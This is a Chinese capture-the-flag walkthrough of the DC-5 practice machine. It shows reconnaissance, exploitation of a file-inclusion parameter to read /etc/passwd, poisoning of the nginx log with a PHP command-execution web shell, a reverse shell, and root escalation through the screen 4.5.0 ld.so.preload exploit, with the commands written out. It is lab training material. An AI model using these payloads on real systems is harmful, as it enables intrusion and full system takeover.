DC-5靶机描述
获取kali的ip地址:
扫面该局域网下的所有设备:
发现DC-5靶机的ip地址为192.168.0.149,用nmap对该ip进行扫描:
发现80端口开启,在浏览器中输入该ip,发现该网站的CMS是Nginx
对该目录进行扫描:
发现并无有用信息
翻看四个界面,发现只有contact界面可以进行输入内容
随便输入信息后,点击submit,发现进入了thankyou.php页面
点击刷新后,发现底部日期发生了改变。
利用wfuzz进行扫描
wfuzz -w wordlist -w wordlist -u URL/FUZZ=FUZ2Z
发现大部分测得的字符长度都为851ch,于是将这个长度字符的对应内容都过滤掉:
wfuzz -w wordlist -w wordlist --hh 851 -w URL/FUZZ=FUZ2Z
发现变量名和文件:file=footer.php。(过程有点慢,也可以使用其他的目录扫描文件进行扫描,比如御剑,但是我用御剑没扫描到)
利用burpsuite对contact过程进行拦截
易知,file是可利用的参数。拦截后发送到Repeater,将 file后的内容改为/etc/passwd,可以查看passwd中的内容。
将文件转到/var/log/nginx/access.log日志文件下:
在burpsuite中将file后改为<?php phpinfo(); ?>,看能否记录到日志文件中
向下滑发现可以记录到日志文件中
因此,想到file后输入<?php system($_GET['cmd']); ?>,然后运行nc反弹shell。在kali中打开监听端口,连接到该端口:
利用Python获得一个交互式shell:
将无权限访问的目录过滤掉 find / name -perm -u=s -type f 2>/dev/null,得到结果:
发现可疑文件screen-4.5.0,搜索该文件漏洞,发现shell
将该shell复制到/var/www/html目录下:
查看dc5靶机下所有目录的权限,发现tmp路径有所有权限,因此,切换到tmp路径下,下载41154.sh文件
运行,发现无法运行。
于是看41154文件的内容。将一下三部分分别设为三个不同的文件
文件名分别为libhax.c, rootshell.c, run.sh,注意最后一个文件开头要加上#!/bin/bash,然后运行代码
gcc -fPIC -shared -ldl -o libhax.so libhax.c
rm -f /tmp/libhax.c
gcc -o rootshell rootshell.c
rm -f /tmp/rootshell.c
发现依旧无法运行。因此选择在命令行中输入该脚本中的每一个步骤,即
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
运行完毕后发现自己已经是root了
切换到/root路径下,获取flag: